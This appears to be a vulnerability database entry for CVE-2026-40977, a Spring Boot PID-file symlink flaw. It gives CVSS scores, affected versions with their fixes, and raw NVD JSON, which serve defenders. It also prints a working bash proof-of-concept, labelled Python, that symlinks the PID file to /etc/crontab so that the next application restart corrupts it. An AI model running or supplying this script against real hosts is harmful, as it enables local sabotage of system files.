Security Vulnerability Report
中文
CVE-2026-40977 CVSS 4.7 MEDIUM

CVE-2026-40977

Published: 2026-04-28 00:16:25
Last Modified: 2026-04-30 13:37:08

Description

When an application is configured to use `ApplicationPidFileWriter`, a local attacker with write access to the PID file's location can corrupt one file on the host each time the application is started. Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); PID file / symlink behavior (`ApplicationPidFileWriter`). Versions that are no longer supported are also affected per vendor advisory.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
Spring Boot 4.0.0 - 4.0.5
Spring Boot 3.5.0 - 3.5.13
Spring Boot 3.4.0 - 3.4.15
Spring Boot 3.3.0 - 3.3.18
Spring Boot 2.7.0 - 2.7.32

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-40977: Spring Boot ApplicationPidFileWriter File Corruption # Description: Exploits the race condition where the PID file is written to a symlink. # Attacker requires write access to the PID file directory. TARGET_FILE="/etc/crontab" # Target file to corrupt PID_FILE_DIR="/var/run/myapp/" PID_FILE_NAME="application.pid" FULL_PID_PATH="${PID_FILE_DIR}${PID_FILE_NAME}" echo "[*] Checking write access to ${PID_FILE_DIR}..." if [ -w "$PID_FILE_DIR" ]; then echo "[+] Write access confirmed." else echo "[-] No write access. Exploit failed." exit 1 fi echo "[*] Creating symlink from ${FULL_PID_PATH} to ${TARGET_FILE}..." # Remove existing file/link if present rm -f "$FULL_PID_PATH" # Create symlink pointing to the target file ln -s "$TARGET_FILE" "$FULL_PID_PATH" echo "[+] Symlink created." echo "[*] Waiting for the Spring Boot application to restart..." echo "[*] Upon restart, the PID will be written to ${TARGET_FILE}, corrupting it." # Wait loop (simulation) while true; do if [ -L "$FULL_PID_PATH" ]; then sleep 1 else echo "[!] Link removed or replaced by application." break fi done

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40977", "sourceIdentifier": "[email protected]", "published": "2026-04-28T00:16:24.947", "lastModified": "2026-04-30T13:37:07.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When an application is configured to use `ApplicationPidFileWriter`, a local attacker with write access to the PID file's location can corrupt one file on the host each time the application is started.\n\nAffected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); PID file / symlink behavior (`ApplicationPidFileWriter`). Versions that are no longer supported are also affected per vendor advisory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.33", "matchCriteriaId": "5B1C9BD7-7555-4B3D-AED9-60C3C13DCF46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.19", "matchCriteriaId": "28EE6470-24FD-49D1-A2F0-7A19B290A161"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.16", "matchCriteriaId": "758A9E8F-0C52-43D9-8D84-69622B345A4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.14", "matchCriteriaId": "D23096A1-8269-46C5-9215-9098E87D0A24"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.6", "matchCriteriaId": "12A166C5-8B55-4BA3-AA8B-6024A257D441"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40977", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}